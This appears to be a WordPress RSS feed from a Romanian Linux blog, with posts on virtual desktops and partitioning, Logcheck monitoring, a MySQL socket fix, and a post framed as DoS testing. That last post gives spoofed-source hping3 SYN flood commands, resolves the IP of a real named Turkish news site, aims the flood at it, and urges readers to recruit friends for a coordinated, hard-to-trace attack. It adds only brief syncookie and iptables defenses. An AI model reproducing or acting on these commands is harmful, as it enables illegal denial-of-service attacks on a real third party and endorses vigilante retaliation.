<p>Pentru cei care nu stiu, in Linux utilizatorii au asa o chestie care se cheama spatiu de lucru virtual. De obicei sunt patru astfel de spatii, ele-s ca patru desktopuri independente unul de altul, fiecare cu ferestrele lui deschise. Asta ca sa nu se umple taskbarul cu aplicatii. O fereastra o folosesc pentru lucru, alta pentru muzica, alta pentru Internet, etc. E foarte comod. In imaginea de mai sus vedeti cum se comuteaza intre aceste ferestre daca aveti programul Compiz instalat, si daca aveti placa video cu accelerator 3d.</p>
<p>Cum sa incepeti?</p>
<p>Tot ce trebuie sa faceti este sa downloadati imaginea iso, sa o inscriptionati pe un DVD, si porniti computerul cu dvd-ul inauntru. Sistemul va porni si fara sa-l instalati (Da, chiar lucreaza direct de pe DVD), astvel ca puteti face cunostinta cu el, si sa va decideti daca va place sau nu.</p>
<p>La instalare, el nu sterge Windows-ul (daca selectati partitionare manuala si nu automata). Astfel, cand porniti calculatorul, va va intreba: ce vrei sa pornesti? Windows sau Linux?</p>
<p>Un lucru trebuie sa stiti pentru instalare &#8211; la partitionare recomand urmatoarele<span id="more-315"></span> configuratii:</p>
<p>1. Partitie pentru root (pe care va fi montat /): 15 GB (nu mai putin de 7) &#8211; Sistemul de fisiere &#8211; ext3</p>
<p>2. Recomand o partitie pentru HOME (aici vor sta toate fisierele personale). Recomand de la 10 GB in sus (dar nu mai putin de 3 GB, asta pentru un film si doua discuri). Veti selecta ca pe aceasta partitie sa se monteze /home &#8211; Sistemul de fisiere &#8211; ext3</p>
<p>3. Partitie SWAP &#8211; sa fie dublul memoriei voastre operative (RAM) &#8211; sistemul de fisiere  -swap.</p>
<p>Ah, era sa uit. Singurul handicap al Linux-ului este ca nu ruleaza jocurile facute pentru windows (cel putin, nu le ruleaza perfect). Jucatorii inraiti pot sa-si pastreze si windows-ul, anume pentru acest scop.</p>
<p>Alt handicap&#8230; Linux-ul nu are virusi <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  . &#8220;Antivirusii&#8221; inraiti vor trebui sa pastreze windows pentru asta.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/315/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/315/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/315/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/315/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/315/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/315/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/315/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/315/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/315/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/315/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=315&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2009/02/17/cadou-pentru-artisti-artistx/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>

		<media:content url="http://www.artistx.org/site2/images/rsgallery/original/17_roundcube.png" medium="image">
			<media:title type="html">Compiz in Functiune</media:title>
		</media:content>
	</item>
		<item>
		<title>Cum sa monitorizezi un site (pe care-l administrezi)</title>
		<link>http://badan.wordpress.com/2008/12/12/cum-sa-monitorizezi-un-site-pe-care-l-administrezi/</link>
		<comments>http://badan.wordpress.com/2008/12/12/cum-sa-monitorizezi-un-site-pe-care-l-administrezi/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 16:55:59 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[hacker]]></category>
		<category><![CDATA[high tech]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[logcheck]]></category>
		<category><![CDATA[monitorizare]]></category>
		<category><![CDATA[site]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=229</guid>
		<description><![CDATA[Scriu acest articol mai mult pentru mine, pentru ca sa nu uit ce am facut.
Sa zicem ca administram site-ul www.exemplu.com . Si ne trebuie sa fim alertati prin email atunci cand acest site nu functioneaza cum trebuie, sau nu se incarca, ori se incarca cu erori.
Ce solutii avem? Una ar fi Nagios, o platforma de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=229&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Scriu acest articol mai mult pentru mine, pentru ca sa nu uit ce am facut.</p>
<p>Sa zicem ca administram site-ul www.exemplu.com . Si ne trebuie sa fim alertati prin email atunci cand acest site nu functioneaza cum trebuie, sau nu se incarca, ori se incarca cu erori.</p>
<p>Ce solutii avem? Una ar fi Nagios, o platforma de monitorizare foarte buna. Nagios are incluse pluginuri cum ar fi check_http, sau check_mysql, e un instrument foarte bun pentru cineva care trebuie sa monitorizeze unul sau mai multe servere. Dar are si anumite dezavantaje, unul ar fi acela ca se instaleaza si configureaza relativ greu pentru cineva care nu cunoaste macar un limbaj de programare (cazul meu). Avantajul este ca necesita foarte buna organizare din partea persoanei care configureaza (te obliga sa fii organizat). Dar Nagios nu ofera pluginuri care sa-ti arate daca o pagina se incarca normal, fara erori, ci doar iti arata ca serverul http functioneaza bine.</p>
<p>E drept ca cine se pricepe poate scrie un plugin pentru aceasta misiune, asa un plugin ar avea succes pe Nagios Exchange http://www.nagiosexchange.org/ .</p>
<p>Eu am ales o solutie mai simpla, care<span id="more-229"></span> isi face treaba la moment. Am incercat si merge.</p>
<p>Eu am pornit de la ideea ca daca o pagina nu se incarca, apache-ul genereaza erori. Prin urmare trebuie de configurat o programa care sa verifice ultimele schimbari din logul cu errori de la apache, si sa le trimita pe email.</p>
<p>Din fericire, este asa o programa, se cheama Logcheck. Eu o folosesc pentru ca sa scaneze logurile de sistem, si sa-mi trimita un rezumat odata la jumate de ora pe email. Vreau sa spun ca-s foarte multumit de acest program, pentru ca nu trebuie sa deschid manual logurile, sa vad de unde m-am oprit data trecuta, si sa trec cu privirea prin o gramada de mesaje nesemnificative ca sa vad ceva ce prezinta pericol (un eventual atac). Logcheck vine impreuna cu alt program, Logtail, care verifica modificarile de la ultima verificare. In functie de anumite cuvinte cheie (fisierele cu cuvinte cheie pot fi modificate, dar eu le-am lasat asa, caci sunt satisfacut), logcheck iti trimite pe email intrarile neobisnuite sau care prezinta pericol (asta daca este configurat serverul de posta, eu folosesc exim4, care-i usor de configurat).</p>
<p>1. Instalarea Logcheck-ului:</p>
<p>Pe server, executam urmatoarele comenzi:</p>
<p># cd /usr/local/src</p>
<p># mkdir logcheck</p>
<p>#cd logcheck</p>
<p># wget http://heanet.dl.sourceforge.net/sourceforge/logcheck/logcheck-1.1.1.tar.gz</p>
<p># tar xvzf logcheck-1.1.1.tar.gz</p>
<p># cd logcheck-1.1.1</p>
<p>Cititi bine fisierele README si INSTALL, ca sa intelegeti despre ce merge vorba. In functie de sistemul vostru, tastati:</p>
<p># make Linux</p>
<p>(nu mai tin minte daca cu L mare sau mic), se poate de facut doar make, si apoi manual de editat scripturile.</p>
<p>Daca va intreaba unde vreti sa instalati (/usr/local/etc), spuneti ca acolo vreti, adica in /usr/local/etc.</p>
<p>Acum trebuie de editat scriptul sa verifice logurile care trebuie. Pentru asta folositi comanda:</p>
<p># vim /usr/local/etc/logcheck.sh</p>
<p>(sau daca nu cunoasteti vim):</p>
<p># nano /usr/local/etc/logcheck.sh</p>
<p>(apropo, ca sa iesiti din vim trebuie sa tastati Esc, dupa care &#8220;:q!&#8221; si Enter)</p>
<p>cautati sectia care suna in felul urmator:</p>
<p># Linux Red Hat Version 3.x, 4.x<br />
$LOGTAIL /var/log/syslog &gt; $TMPDIR/check.$$<br />
$LOGTAIL /var/log/auth.log &gt;&gt; $TMPDIR/check.$$<br />
$LOGTAIL /var/log/fail2ban.log &gt;&gt; $TMPDIR/check.$$</p>
<p>Decomentati ce va trebuie, comentati ce nu va trebuie, editati calea spre logurile importante (in Debian precis trebuie editare, ceea ce vedeti mai sus este calea spre /var/log/syslog, in default era altceva). Eu am adaugat si logul de la fail2ban, imi place sa vad cine este banat atunci cand incearca sa-mi sparga computerul prin forta bruta.</p>
<p>Daca vreti ca logurile de sistem sa fie verificate impreuna cu acelea de la apache, adaugati o linie care arata cam asa:</p>
<p>$LOGTAIL /var/log/apache2/error.log &gt;&gt; $TMPDIR/check.$$</p>
<p>Daca vreti sa fie verificate la un interval mai scurt, cititi mai departe.</p>
<p>Pentru a verifica doar un singur site, adaugati in configurare la apache (la virtualhost-ul respectiv), o linie:</p>
<p>ErrorLog /var/log/apache2/site-ul-meu-error.log</p>
<p>Dupa care reporniti apache-ul.</p>
<p>Si specificati in logcheck.sh calea spre acest log.</p>
<p>Inca ceva, tot in logcheck.sh gasiti campul</p>
<p># Person to send log activity to.<br />
SYSADMIN=</p>
<p>puneti dupa semnul egal emailul vostru.</p>
<p>Ca sa verificati daca functioneaza bine, executati:</p>
<p># /bin/sh /usr/local/etc/logcheck.sh</p>
<p>daca ati primit vreun email (verificat in spam la fel), atunci adaugati un cronjob:</p>
<p># vim /etc/crontab</p>
<p>(sau nano, daca e greu vim-ul)</p>
<p>adaugati o linie dupa exemplul urmator:</p>
<p>*/30 * * * *  root  /bin/sh /usr/local/etc/logcheck.sh</p>
<p>(asta ca programul sa se execute la fiecare 30 minute)</p>
<p>Acum sa trecem la partea mai interesanta.</p>
<p>Eu am vrut ca logurile de la apache sa se verifice la fiecare 5 minute, spre deosebire de cele de sistem. Tot ce a trebuit sa fac a fost sa copii /usr/local/etc/logcheck.sh in /usr/local/etc/logcheck-apache.sh, sa editez acest ultim fisier (sa scot toate logurile de sistem, si sa adaug logurile de la apache), si sa adaug in crontab inca o linie:</p>
<p>*/5 * * * * root  /bin/sh /usr/local/etc/logcheck-apache.sh</p>
<p>Asta a fost de ajuns.</p>
<p>Acum, eu am observat ca atunci cand sunt erori mysql, apache-ul nu inregistreaza erori in loguri. Aici a trebuit sa hackeresc oleaca. M-am gandit sa fac un script care sa scaneze o pagina anume (care ar genera erori mysql in caz ca s-ar opri serverul mysql), si daca gaseste cuvinte de genul &#8220;mysql&#8221;, sa ataseze aceste linii in /var/log/apache2/site-ul-meu-error.log.</p>
<p>Iata codul:</p>
<p>wget -nv -O &#8211; &#8220;http://www.site-ul-meu.com/validate.php&#8221; 2&gt;&amp;1 | grep mysql | cat &gt;&gt; /var/log/apache2/site-ul-meu-error.log &amp;&amp;</p>
<p>validate.php este o pagina care face apel la mysql (iar cand mysql-ul nu lucreaza, apar niste mesaje neplacute pe el).</p>
<p>Aceasta linie am introdus-o in /usr/local/etc/logcheck-apache.sh , taman inainte de liniile:</p>
<p>umask 077<br />
rm -f $TMPDIR/check.$$ $TMPDIR/checkoutput.$$ $TMPDIR/checkreport.$$</p>
<p>Iata in principiu, pe scurt, tot ce am avut de spus.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/229/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=229&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2008/12/12/cum-sa-monitorizezi-un-site-pe-care-l-administrezi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>
	</item>
		<item>
		<title>Missing mysqld.sock on Ubuntu/Debian systems [solved]</title>
		<link>http://badan.wordpress.com/2008/12/03/missing-mysqldsock-on-ubuntudebian-systems-solved/</link>
		<comments>http://badan.wordpress.com/2008/12/03/missing-mysqldsock-on-ubuntudebian-systems-solved/#comments</comments>
		<pubDate>Wed, 03 Dec 2008 12:52:04 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[hacker]]></category>
		<category><![CDATA[high tech]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysqld.sock]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/?p=211</guid>
		<description><![CDATA[I had a problem today, with the MySQL on one system claiming that:
Check that mysqld is running  and that the socket: &#8216;/var/run/mysqld/mysqld.sock&#8216; exists!
After google-ing a little, I didn&#8217;t find a solution to solve my problem. But finally I solved the problem. Here is the solution:
1. Check the ownership and permisions of /var/run/mysqld/
# ls -l [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=211&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>I had a problem today, with the MySQL on one system claiming that:</p>
<p><em>Check that mysqld</em> is running  and that the socket: &#8216;/var/run/<em>mysqld</em>/<em>mysqld</em>.<em>sock</em>&#8216; <em>exists</em>!</p>
<p>After google-ing a little, I didn&#8217;t find a solution to solve my problem. But finally I solved the problem. Here is the solution:</p>
<p>1. Check the ownership and permisions of /var/run/mysqld/</p>
<p># ls -l /var/run/ | grep mysqld</p>
<p>It must be of the user mysql, and the group root.</p>
<p>2. Make a backup of the my.cnf (as root) :</p>
<p># sudo mv /etc/mysql/my.cnf /etc/mysql/my.cnf.back</p>
<p>3. Reconfigure Mysql-server:</p>
<p># dpkg-reconfigure mysql-server-5.0</p>
<p>Provide the desired root password, and&#8230; There you go (of course you can edit the newly created my.cnf, to suit your needs).</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/211/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=211&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2008/12/03/missing-mysqldsock-on-ubuntudebian-systems-solved/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>
	</item>
		<item>
		<title>Cum sa testezi un server impotriva atacurilor DOS, si cum sa te protejezi impotriva acestor atacuri</title>
		<link>http://badan.wordpress.com/2008/11/22/cum-sa-testezi-un-server-impotriva-atacurilor-dos-si-cum-sa-te-protejezi-impotriva-acestor-atacuri/</link>
		<comments>http://badan.wordpress.com/2008/11/22/cum-sa-testezi-un-server-impotriva-atacurilor-dos-si-cum-sa-te-protejezi-impotriva-acestor-atacuri/#comments</comments>
		<pubDate>Sat, 22 Nov 2008 21:10:15 +0000</pubDate>
		<dc:creator>Badan Sergiu</dc:creator>
				<category><![CDATA[hacker]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[DoS attack]]></category>
		<category><![CDATA[SYN flood]]></category>

		<guid isPermaLink="false">http://badan.wordpress.com/2008/11/22/cum-sa-testezi-un-server-impotriva-atacurilor-dos/</guid>
		<description><![CDATA[Dupa cum probabil ca stiti, exista un fel  de atacuri, care secheama DOS (Denial of Service Attack). Ele se manifesta prin faptul ca atacatorul provoaca  consum puternic de resurse la computerul atacat. Cel mai frecvent, e vorba de consum de banda. Imaginati-va ca aveti un server pe care sta site-ul vostru. Si viteza [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=194&subd=badan&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Dupa cum probabil ca stiti, exista un fel  de atacuri, care secheama DOS (Denial of Service Attack). Ele se manifesta prin faptul ca atacatorul provoaca  consum puternic de resurse la computerul atacat. Cel mai frecvent, e vorba de consum de banda. Imaginati-va ca aveti un server pe care sta site-ul vostru. Si viteza de upload este relativ mica, dar va ajunge pentru cele  cateva mii de vizitatori pe zi. Acum un om cu intentii rele se apuca, si de la un computer cu o viteza mai mare incepe sa abuzeze computerul vostru,  sa ceara informatie de la el la o viteza mult mai mare decat puteti oferi. Ce se va intampla? Toata banda voastra va fi ocupata de solicitarile omului cu intentii rele, iar cei cativa mii de vizitatori nici nu  vor putea deschide site-ul vostru. Iata asta se cheama atac DoS. Daca atacul vine de la mai multe computere in acelasi timp, atacul se cheama DDoS (Distributed Denial of Service).<br />Acum tehnicile de atac au devenit mai sofisticate si mai destepte, astfel incat un server super puternic poate fi doborat de un om cu legatura prin dial-up (adica, <span id="more-194"></span></p>
<p>prin telefon simplu). Eu nu voi exlica in detaliu cum se fac aceste atacuri sofisticate, dar voi da un exemplu, mai spre sfarsit.<br />Am gasit pe internet,  cica, cum sa faci atacuri DoS, asa niste sfaturi incat aproape am ras. E vorba de comanda ping, pe care o lansezi din zece command prompt-uri in Windows, si astepti&#8230; dividende probabil. Am incercat aceasta metoda, dar e atat de ineficienta!!! Este ca si cum ai incerca cu cursorul-ul sa omori o musca de pe ecran.<br />Cel mai simplu pentru un administrator este sa blocheze cererile prin protocolul icmp (prin care lucreaza ping-ul), fara sa afecteze celalalt tip de trafic.<br />asta se face prin comanda:<br /># iptables -A INPUT -p icmp -o eth0 -j DROP<br />Am citit nu demult despre asa o strategie de DoS &#8211; intr-o retea, cineva trimite pachete la broadcast, falsificand adresa de IP a victimei, va primi pachete inapoi de la toate computerele din retea. Ceea ce poate sa amplifice de sute de ori puterea atacului. Dar cum se poate de falsificat ip-ul de la care vine un pachet? Si cum se poate de trimis un pachet altul decat icmp?<br />Azi mi-am instalat un program, se cheama hping3. Site-ul este acesta http://www.hping.org . Acesta este un instrument de pinguit atat de puternic, cu atatea setari posibile, incat imi place aproape la fel de mult ca nmap-ul.<br />Cine foloseste Linux, il poate instala din repozitorii, asa cum am facut eu.<br />Care-i diferenta intre hping3 si ping? Sunt multe diferente, eu voi vorbi doar despre cateva:<br />1. Poti sa selectezi intensitatea pinguirii. Este ceva de genul fast, faster si flood, ultimul fiind cel mai puternic, si folosind toata banda.<br />2. Poti specifica tipul de pachete &#8211; in primul rand protocolol &#8211; tcp, udp si icmp, apoi diferite pachete de tip Syn, Ack, Fin (cine vrea sa inteleaga la ce se refera ceea ce spun, sa intre aici http://iptables-tutorial.frozentux.net/iptables-tutorial.html#TCPCHARACTERISTICS)<br />3. Poti falsifica adresa ta, astfel ca daca ii trimiti cuiva pachete Syn, el va incerca sa trimita SYN/ACK sau SYN/RST la adresa din headerele pachetelor, care poate fi orice adresa doresti tu, chiar una inexistenta. Astfel, este imposibil sa fii identificat. Daca vi-i lene sa specificati o adresa, puteti pune ca ea sa fie aleatorie, si atunci fiecare pachet va avea o adresa diferita din tot internetul practic. Asta pe langa faptul ca va ascunde identitatea, e o masura buna prin faptul ca nu veti primi ca un  bumerang pachete de raspuns inapoi.<br />4. Multe multe alte imbunatatiri. Va recomand sa citi paginile de manual din sistemul vostru, prin comanda &#8220;man hping3&#8243;.</p>
<p>Cum se executa un  flood? Ne uitam pe Wikipedia: http://en.wikipedia.org/wiki/SYN_flood . Asta este ceea ce dorim noi sa testam &#8211; un SYN flood. Dupa cum am explicat si mai sus, ideea este ca noi trimitem pachete de tip SYN (cred ca vine de la synchronize), pachete cu care se incep orice tranzactii tcp. In functie daca victima accepta sau refuza  inceapa vreo tranzactie, va trimite inapoi (sau la adresa falsa) pachete de tip SYN/ACK (cred ca syncronize acknowledge) sau SYN/RST (credca asta inseamna synchronize reset). Dar computerul care sta in spatele adresei pe care noi o vom falsifica, va primi aceste pachete, si nu va intelege nimic, pentru ca el nu a trimis nici un pachet SYN ca sa primeasca raspuns. Asta ca si cum cineva ti-ar spune pe strada: Buna sa-ti fie inima! Ori ti-ar zice deodata: Cu placere! Te vei gandi ca-i aiurit, odata ce tu nu i-ai spus nimic de genul Buna Ziua, si nici Multumesc.<br />Sa zicem ca vrem sa testam un server de-al nostru, cu ip-ul 232.35.237.87, care este web server (adica pe el sta un site de-al nostru). Folosim comanda:<br />
<blockquote># hping3 -a un.ip.fals -S -p 80 &#8211;flood 232.35.237.87 &amp;</p></blockquote>
<p>Si apasam Enter.<br />Explic ce inseamna:<br />-a &#8211; asta spune adresa pe care vrem sa o folosim in pachete ca fiind sursa. Cu alte cuvinte, punem aici o adresa falsificata.<br />-S &#8211; ii spune programului sa trimita pachete de tip SYN.<br />-p 80 &#8211; pachetele vor fi trimise pe portul 80 (portul http).<br />&#8211;flood &#8211; pachetele vor fi trimise la viteza maxima.<br />Eu cand am incercat, prin optiunea &#8211;flood programul a trimis 12 milioane de pachete in cateva minute.</p>
<p>In loc de o adresa falsificata, putem folosi optiunea &#8211;rand-source, astfel, comanda va fi in forma urmatoare:</p>
<p># hping3 &#8211;rand-source -S 232.35.237.87 -p 80 &#8211;flood &amp;</p>
<p>Aceasta comanda va pune in headerele pachetelor trimise surse aleatorii, din tot internetul.<br />Eu am testat aceasta comanda pe unul din serverele de care raspund doar.</p>
<p>Ce pot sa spun&#8230; In lumea hackerilor, atacurile DoS sunt cel mai putin respectate, pentru ca nu este nevoie de mare inteligenta pentru a le efectua. Totusi, ele sunt ca si automatul kalashnikov &#8211; simple de folosit, ieftine si eficiente. Oricine le poate face, dar nu oricine se poate proteja de ele.</p>
<p>Cum am putea folosi aceste tehnici in scopuri nobile?<br />http://www.haberturk.com/haber.asp?id=44453&amp;cat=200&amp;dt=2007/11/16 Aici este un articol in limba turca, despre faptul ca Moldova este un bordel pentru rapanosii turci. Se mai dau sfaturi, pentru acesti rapanosi, ca noaptea sa fie atenti unde tin banii, pentru ca fetele cica iau cate 300 dolari pe noapte, dar daca nu esti atent poti sa te trezesti fara bani si documente, iar politia nici nu te ajuta in asemenea situatii (cumde oare? Asta-i discriminare, ca politistii sa nu se implice in asemenea cazuri, e xenofobie adevarata!). Iata traducerea in romana: http://www.unimedia.md/index.php?mod=home&amp;hmod=newsbyid&amp;id=2717<br />Sa fie clar ca eu nu am nimic impotriva poporului turc, cin doar impotriva persoanelor care se comporta asa cum este descris in articol, si impotriva ziaristilor care isi permit sa scrie asemenea marsavenii (abuzeaza de libertatea cuvantului).<br />Deschidem un terminal, si vedem ce ip are site-ul turcesc:</p>
<p># host www.haberturk.com<br />www.haberturk.com has address 213.74.20.117</p>
<p>Asta este aproape de ajuns. Sa zicem ca ati instalat deja hping3, ori din repozitorii ori din surse. Acum intram sub root:<br /># su<br />sau in Ubuntu:<br /># sudo su<br />Scriem parola, si urmatorul pas este sa pornim floodul:</p>
<p># hping3 &#8211;rand-source -S 213.74.20.117 -p 80 &#8211;flood</p>
<p>Daca credeti ca singuri nu veti aduce daune mari, implicati-va prietenii. Trimiteti-le link la aceasta pagina, sa se documenteze, si sa porneasca si ei  flood-ul, la aceeasi destinatie. Iar ei sa sune pe prietenii lor. Important este sa fie lucru de echipa, si in acelasi timp. Si ar fi bine sa fie in timpul zilei, caci seara ei si asa nu au vizite. Daca va trebuie si voua banda, puteti sa limitati intensitatea, folosind in loc de &#8211;flood sintagma &#8211;faster, iar daca vreti sa trimiteti doar 10 pachete pe secunda, folositi sintagma &#8211;fast in loc de ele. Astfel, comanda va fi:<br /><code><br /># hping3 --rand-source -S 213.74.20.117 -p 80 --faster<br /></code><br />sau<br /><code><br /># hping3 --rand-source -S 213.74.20.117 -p 80 --fast<br /></code></p>
<p>Acest tip de atacuri sunt foarte greu de detectat, si-i greu de luat contramasuri. Contramasurile se iau la nivel de ISP (provider de internet), daca cumpara routere destepte, care sa nu primeasca din afara pachete identificate ca fiind de dinauntru, si sa nu dea voie in afara pachete identificate ca provenind din afara. Si e foarte greu sa prinda flooderii, cred ca ar putea doar daca ar opri pe rand internetul la un sector, si apoi la alt sector, sa vada daca cu asta se reduce cumva flood-ul, iar apoi, in sectorul identificat, sa intrerupa la o parte din utilizatori iarasi, si asa mai departe pana ramane la unul singur. Nu cred  sa se ajunga la asta, iar daca sunt macar vreo zece baieti din diferite colturi ale orasului sa efectueze acelasi lucru, atunci este practic imposibil sa identifici ceva.<br />Daca aveti noroc, pagina dusmanilor va fi nedisponibila pe o perioada, iar dusmanii vor avea timp sa se gandeasca cu ce oare au gresit.</p>
<p>Iata asa. Ah, era sa uit. Daca va intrebati de unde puteti downloada un linux bun, recomand Kiwi Linux pentru incepatori. Iata link http://kiwilinux.org/ . Dupa ce-l downloadati si instalati, lansati un terminal, scrieti:<br />sudo apt-get update<br />apasati Enter, scrieti parola, dupa care scrieti:<br />sudo apt-get install hping3<br />iarasi apasati Enter, dupa care scrieti mai departe:<br />sudo su<br />si mai departe, comanda de mai sus. Bafta.</p>
<p>ps. Vad ca wordpress-ul imi pune in loc de doua linii o linie lunga. Stie cineva cum sa fac ca textul sa nu fie formatat? Am in vedere, acolo unde spun de &#8211;rand-source, sunt de fapt doua linii inainte, dar wordpress-ul le uneste. La fel si in fata la &#8211;flood, si &#8211;fast si &#8211;faster.</p>
<p>UPDATE: Acum inteleg si efectul SYN FLOOD-ului: partea atacata pastreaza in cache pachetele, si asteapta raspuns la pachetele trimise de ea, iar cand se umple cache-ul, incepe sa opreasca conectiunile legitime. E foarte puternica tehnica de atac, si vorba rusului: &#8220;protiv loma net prijoma&#8221;. Pentru a evita ca conectiunile legitime sa fie aruncate din aceasta cauza, sysadminii trebuie sa activeze syn cookies, iata specificarea lor &#8211; http://cr.yp.to/syncookies.html (dar numai pe timpul atacului). Era un patch pentru kernel-ul linux, mai vechisor, care facea ca atunci cand cache-ul devine plin, sa se activeze automat cookie-s. <br />Pentru a activa syncookie-urile, executati comanda:<br /># echo 1 &gt; /proc/sys/net/ipv4/tcp_syncookies<br />si editati /etc/sysctl.conf, adica, decomentati linia<br />#net.ipv4.tcp_syncookies = 1<br />astfel ca ea sa arate asa:<br />net.ipv4.tcp_syncookies = 1<br />si reporniti reteaua (in Debian, Ubuntu&#8230;):<br /># /etc/init.d/networking restart</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/badan.wordpress.com/194/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/badan.wordpress.com/194/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/badan.wordpress.com/194/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/badan.wordpress.com/194/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/badan.wordpress.com/194/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/badan.wordpress.com/194/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/badan.wordpress.com/194/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/badan.wordpress.com/194/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/badan.wordpress.com/194/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/badan.wordpress.com/194/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=badan.wordpress.com&blog=945044&post=194&subd=badan&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://badan.wordpress.com/2008/11/22/cum-sa-testezi-un-server-impotriva-atacurilor-dos-si-cum-sa-te-protejezi-impotriva-acestor-atacuri/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/8be926cdd4674e252f4e5efa711c639a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">S.B.</media:title>
		</media:content>
	</item>
	</channel>
</rss>